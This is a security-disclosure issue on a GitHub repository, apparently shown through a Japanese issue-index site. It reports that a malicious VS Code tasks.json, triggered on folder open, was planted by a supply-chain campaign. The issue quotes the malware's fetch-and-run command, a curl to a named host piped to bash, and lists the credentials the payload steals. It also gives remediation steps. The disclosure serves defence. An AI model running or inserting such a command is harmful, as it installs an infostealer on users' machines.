hackforla / hackforla/knowledgebase-content

Security: Repository contains malicious .vscode/tasks.json (TasksJacker campaign)

オープン
#161 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る
主要言語
言語のデータがありません
スター
2
フォーク
1
PR マージ指標
30日以内にマージされた PR はありません

説明

## Security Disclosure: This repository has been compromised

The repository **hackforla/knowledgebase-content** was compromised on **February 9, 2026** by the **TasksJacker** campaign — a DPRK-linked supply chain attack. A malicious `.vscode/tasks.json` file was injected that automatically executes malware when anyone opens this repository in VS Code.

**This is not spam.** This disclosure is from the [OpenSourceMalware.com](https://opensourcemalware.com) research team, which first identified and published research on this campaign.

### Compromised file

- **`.vscode/tasks.json`** — contains a task with `"runOn": "folderOpen"` trigger

### What the malicious file does

The `tasks.json` silently executes `curl https://260120.vercel.app/... | bash` when the folder is opened in VS Code. The payload is a multi-stage infostealer and backdoor targeting:

- Browser credentials and cookies
- Cryptocurrency wallet data
- SSH keys and Git credentials
- AWS/cloud credentials and API tokens

### Why this matters for hackforla

As a civic tech organization with community volunteers, any contributor who has cloned and opened this repo in VS Code may have been compromised. We recommend notifying your contributors.

### Immediate remediation steps

1. **Delete `.vscode/tasks.json`** from this repository
2. **Force-push** to remove it from git history
3. **Rotate credentials**: The GitHub account credentials used to push to this repo were compromised — rotate PATs, SSH keys, and passwords
4. **Enable 2FA** on all accounts with push access
5. **Notify contributors** who may have cloned this repo between Feb 9 and now
6. **Scan machines** of anyone with push access:
```bash
ps aux | grep "\.vscode.*node"
ls -la ~/.vscode/node-v*-*/
```

### More information

- Full technical analysis: https://opensourcemalware.com/blog/tasksjacker
- Campaign scope: 354+ repositories across 229+ accounts compromised
- Attribution: DPRK-affiliated threat actors (medium-high confidence)

---
*Disclosed by the [OpenSourceMalware.com](https://opensourcemalware.com) research team.*

コントリビューションガイド

コントリビューションガイドを開く

調査の方向性

.vscode/tasks.json を調査し、リンクされた TasksJacker の分析を読むことから始めてください。開示の是正措置リストを使用して、リポジトリと履歴からの削除、認証情報のローテーション、2FA、コントリビューターへの通知、および影響を受けたマシンのスキャンを確認してください。

索引モデルが issue の本文から書いたものです。

評価

技術スタック
git, vscode
領域
security
issue の種類
バグ
難易度
5/5
見積もり時間
1週間以上
活発さ
停滞
明瞭さ
明確に書かれている
初心者へのやさしさ
20/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。